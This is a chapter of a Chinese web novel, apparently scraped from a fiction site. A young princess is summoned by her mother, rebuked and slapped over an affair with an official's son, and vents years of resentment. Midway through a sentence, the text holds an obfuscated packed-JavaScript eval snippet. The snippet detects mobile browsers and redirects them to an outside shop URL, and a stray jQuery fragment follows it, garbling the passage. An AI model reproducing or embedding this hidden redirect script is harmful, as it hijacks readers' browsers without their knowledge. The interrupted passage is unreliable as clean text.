文趣网 > 其他小说 > 褚郎同我有私情(gb) > 3. 参商之隔
    待酒阑宴歇太阳已落到了山头,官路宽敞,斜阳铺洒一片,东阳郡主的马车眼看就要到了郡主府。

    “吁——”马车骤然停下,突然的颠簸惊醒了姜晓生的瞌睡。她正欲破口骂人时,晓云沉着脸掀开了车窗帘子,她缩着身子,说话都打颤:“主子……宫里来人了。”

    姜晓生干咽一口唾沫,待她消化晓云的话时,心立刻被揪了起来,这让她呼吸都不易许多。

    “这么快?”姜晓生心中忐忑。母亲曾给她立过规矩,涉及朝廷官员、皇族勋贵的不能碰,而昨晚的吴公子是吏部员外郎的次子。姜晓生在榻前未曾有过顾虑,而此刻她心虚难忍,她原以为母亲这回会睁一只眼闭一只眼,没想到那是母亲的底线。

    晓云回望一眼后,立马哭丧着脸说道:“主子,嬷嬷在等你。”

    果然,晓云话音刚落,不远处就传来嬷嬷金石一般的嗓音:“应长公主之令,老身在此已等候多时,还请东阳郡主跟随老身进宫。”

    姜晓生深吸一口气,按下翻涌的心绪:“晓生已知晓,劳请嬷嬷不要催促,今日我同嬷嬷进宫便是。”

    马车重新起驾,宫中车撵走在前头,郡主的马车紧随其后。她有多久没进宫了?姜晓生盘算了一番,才记得上次进宫是除夕时吃团圆饭。说来也可怜,说是团圆可除夕夜她也没有见到母亲。

    不过这也在她预料之中,姜晓生很早之前就对母亲没了期待,大抵是她还未及笄就被母亲赶出宫时,又或者是母亲开始冷漠她对她恶言相向时。

    斜阳透过缝隙打在姜晓生的手里,姜晓生不自觉地想要抠手,那一点光亮越来越暗,她心中也愈加憋闷,手里动作也更重更狠,待她下车之时,这才发觉手上满是伤口,白皙的肌肤上结满了干涸的血渍。

    姜晓生顾不上痛感,在宫女的引领下到了长公主的宫殿——紫云殿。

    大殿之内烛火通明,依旧是九根龙凤抱柱,黑漆冰凉的阴砖,可紫云殿终究是与记忆中的不同了。

    殿中不知何时多了黛色纱帐,这些纱帐包围高台,让里头的人影看不真切。纱帐内传来捻动珠玑的碰撞声,声音清脆带着节奏,不过姜晓生听了只觉烦躁,她的注意力全至纱帐。

    这些纱帐应该是为她准备的吧!母亲当真是心狠,连亲身孩子也能做到不念不见。她心中涌起苦涩,憋下的酸楚一点点侵蚀多年来她苦守心头肉。

    姜晓生绞紧拳头,挺立在纱帐前。很快所有宫侍得令退下,大殿内只剩他们母女二人。

    蓦地,纱帐内传来命令:“跪下!”长公主的语气自带威严,无人敢置喙。

    姜晓生见身前有蒲团,便跪了上去。

    她双膝才跪下,母亲便大声斥责:“只是几月不见,你兴风作浪,仗着身份作威作福,姜晓生你好大的本事!”殿内回音阵阵。

    姜晓生拧了眉头,心中不服,她又不是最近才这样的。

    长公主厉声吼道:“这才不过及笄两年,你成什么德行了?人在外边浪野了,过往立下规矩也跟着你的脑子浪没了是吧?”

    姜晓生恭敬回应:“回母亲,我这德行一向如此,只是您从未发现罢了。”

    话音刚落,一尊玉石小像从纱帐内飞袭而来,砸在姜晓生身后,绽了个粉碎。

    “孽……子!”长公主气得声音发颤。

    姜晓生回头望着碎成渣渣的玉石,打了个寒颤。

    “我让你不要碰官场的人、让你安分一点,你有听进半句?”

    姜晓生哑口无言。

    长公主酝酿半晌才开口:“昨日之事你该罚,来人掌嘴!”

    外门唰地打开,两个嬷嬷应令进来。姜晓生心中一沉,红着眼睛,眼底满是不甘,只是玩了一个自己贴上来的男人而已,就因为他爹做了官,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940577|213905||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己就要受这般辱打。

    此刻她舍下教养,倏然站了起来,喘着粗气嘶吼道:“我没做错凭什么打我?是他自己贴了上来求的我,这是你情我愿的事,我做错了什么?”

    还未说完,两位嬷嬷将她摁倒在地,纵使她眼泪横流,咬破了嘴唇,也未曾屈服。

    长公主嗤笑一声,“你明知故犯,还有理了?上床之前,你难道不知他父亲的身份,姜晓生你太得意忘形了?”

    “你以为你是谁?你的身份地位又是谁给的?若我不是你的母亲,这京城内谁看你的脸色?”

    这些话如同巨石碾过她心头,姜晓生涨红了脸抽泣着,奋力挣脱嬷嬷的束缚:“对!这些都是你给的,所以你就能控制我,束缚我,随意冷落我。”

    泪水糊住了眼睛,姜晓生瘫在嬷嬷怀里大叫:“母亲!你以为这些我想要吗?你以为我很想被你生下吗?你该在我尚在襁褓时就把我摔死。不!你就不该生下我。”

    “你个混账!”

    “我混账?对我就是混账,”姜晓生捂着脸嗤笑了一声,“我混账的活着,还是碍了所有人的眼,我小心翼翼地讨着你欢喜,你又有一刻在意我的感受,你把我放在国子监让我认真读书,我听你的话,努力习读拿下好几门榜首,可这又有什么用呢?你畏惧我的才干,无视我的野心,你把我拿作鸟儿囚于京城,我混账一点又怎样呢!”

    姜晓生哭得撕心裂肺,两位嬷嬷心疼地轻拍她的背,安抚她。

    哭声响彻紫云殿,长公主久久不语。

    纱帐内传来一声叹息。

    “来人,本宫乏了,送郡主回府。”

    姜晓生哭得太久了,身体不停抽搐,声音沙哑而疲惫。她被人架着送到了马车里。

    晓云看到她时,她已是浑身脱力,脸上烧红,额角缀着汗珠。晓云还以为主子遭了罪,也跟着抽泣起来。